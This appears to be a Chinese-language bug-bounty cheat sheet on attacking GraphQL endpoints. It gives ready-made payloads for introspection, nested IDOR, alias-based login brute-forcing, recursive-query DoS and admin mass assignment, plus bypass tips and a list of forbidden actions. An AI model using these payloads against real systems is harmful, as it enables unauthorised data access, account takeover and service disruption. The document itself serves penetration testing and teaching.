5.4 KiB
5.4 KiB
GraphQL
视角:黑盒,针对 GraphQL 端点的特有攻击
1. 一句话说清
GraphQL = 一个端点(通常 /graphql),所有 query / mutation 走它。
特有风险:Introspection 暴露 schema、字段级授权缺失、嵌套查询绕过权限、深度递归 DoS。
SRC 价值:嵌套 IDOR + 字段越权 = P1。
2. 高频入口点
/graphql /api/graphql /v1/graphql
/graphiql /playground /api-explorer
/graphql.php /graphql.json
测试方法是否 GraphQL:
curl -X POST -H "Content-Type: application/json" \
-d '{"query":"query{__typename}"}' https://target/graphql
→ 返回 {"data":{"__typename":"Query"}} = 是 GraphQL
3. 探测手法
3.1 Introspection(最先做)
query {
__schema {
types {
name
fields {
name
type { name kind ofType { name } }
args { name type { name } }
}
}
queryType { name }
mutationType { name }
subscriptionType { name }
}
}
# 一行命令
curl -X POST -H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name}}}}"}' \
https://target/graphql | jq
# 工具
graphql-cop https://target/graphql
graphqlmap
clairvoyance(无 introspection 的 schema 推断)
拿到 schema → 找出所有敏感字段(password、ssn、creditCard、apiKey、balance)。
3.2 字段级越权
# 顶层是公开 query
query {
publicPost(id: 123) {
title
author {
email # ❌ 可能没权限校验
phone
orders { # ❌ 嵌套 IDOR
id
amount
creditCard
}
}
}
}
重点:顶层接口"看起来公开",但通过嵌套返回敏感字段。
3.3 IDOR via id
query {
user(id: 100) { # 改成其他 ID
email
privateMessages { content }
}
}
3.4 批量查询 / 别名滥用(绕过限频)
query {
a: login(user:"admin",pass:"a") { token }
b: login(user:"admin",pass:"b") { token }
c: login(user:"admin",pass:"c") { token }
...
z: login(user:"admin",pass:"z") { token }
}
# 一次请求触发 26 次登录
绕过常规 rate-limit(每个 HTTP 请求计 1 次)。
3.5 深度递归 DoS
type User {
friends: [User!]!
}
# 攻击查询
query {
user(id:1) {
friends {
friends {
friends {
friends { ... 嵌套 100 层 ... }
}
}
}
}
}
观察响应时间 / 超时。
3.6 Mutation Mass Assignment
mutation {
updateUser(input: {
id: 1,
name: "x",
isAdmin: true, # 试这个
role: ADMIN
}) { id name }
}
3.7 CSRF on GraphQL
1. GraphQL 多数支持 GET(query 在 query string)
2. 查 Content-Type: application/x-www-form-urlencoded 是否被接受
3. 接受 → CSRF 可行(普通 form 即可触发)
4. Bypass 矩阵
| 拦 | 绕 |
|---|---|
| Introspection 关闭 | clairvoyance 字段推断 / 抓客户端代码(mobile / web)找 query |
| 顶层鉴权 | 嵌套字段越权 |
| 批量限频 | 别名 / 多 query |
| 深度限制 | 折叠:...frag 片段循环展开 |
| ID 类型校验 | 改 GraphQL 类型:String 改成 Int、ID 改成 null |
5. 利用提权 / 横向
Introspection → 完整攻击面图
嵌套 IDOR → 大批 PII
别名 → 撞库 / 短信轰炸
mutation Mass Assignment → 提权
深度 → DoS
6. 真实案例指纹
| 案例 | 一句话 |
|---|---|
| GitHub GraphQL | 嵌套字段越权拿 private repo 信息 |
| Shopify | 别名爆破登录 |
| HackerOne 自身 | 多次报告 IDOR |
通用:
- 端点返回
{"errors":[{"message":"Cannot query field..."}]}→ GraphQL 报错有用 - Introspection 200 → 立即拉 schema
- mutation 接受额外字段 → Mass Assignment
7. 复现 / 证据要点
7.1 PoC
POST /graphql HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer A_TOKEN
{"query":"query{user(id:200){email phone}}"}
→ 响应:
{"data":{"user":{"email":"b****@****.com","phone":"138****1234"}}}
(B 的字段,A 不该能读)
7.2 Introspection
curl -X POST https://target/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name fields{name}}}}"}' \
> schema.json
grep -A 5 -E "(password|ssn|credit|secret|key|token)" schema.json
7.3 CVSS
Introspection 暴露 = 5.3 Medium
嵌套 IDOR PII = 6.5–8.1
别名爆破 = 7.5
mutation Mass Assignment → admin = 8.8–9.8
深度递归 DoS = 5.3–6.5
8. 不要做的事
- 禁:用别名爆破真实账号密码。在自己测试账号上演示。
- 禁:用深度递归 DoS 实际打瘫服务。10 层、几次请求即可证明。
- 禁:嵌套 IDOR 拖出大量数据。3 个不同 ID 的样本足够。
H1 真实案例
共 1 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|---|---|---|---|---|
| Critical | 25000 usd | HackerOne | Disclosing PolicyPageAssetGroup in Private Programs via /graphql `gid://hackerone/PolicyPageAsse… | Summary:** Hi team, I understand what's going on Description:** Just a recent update gives the results of private programs Step… |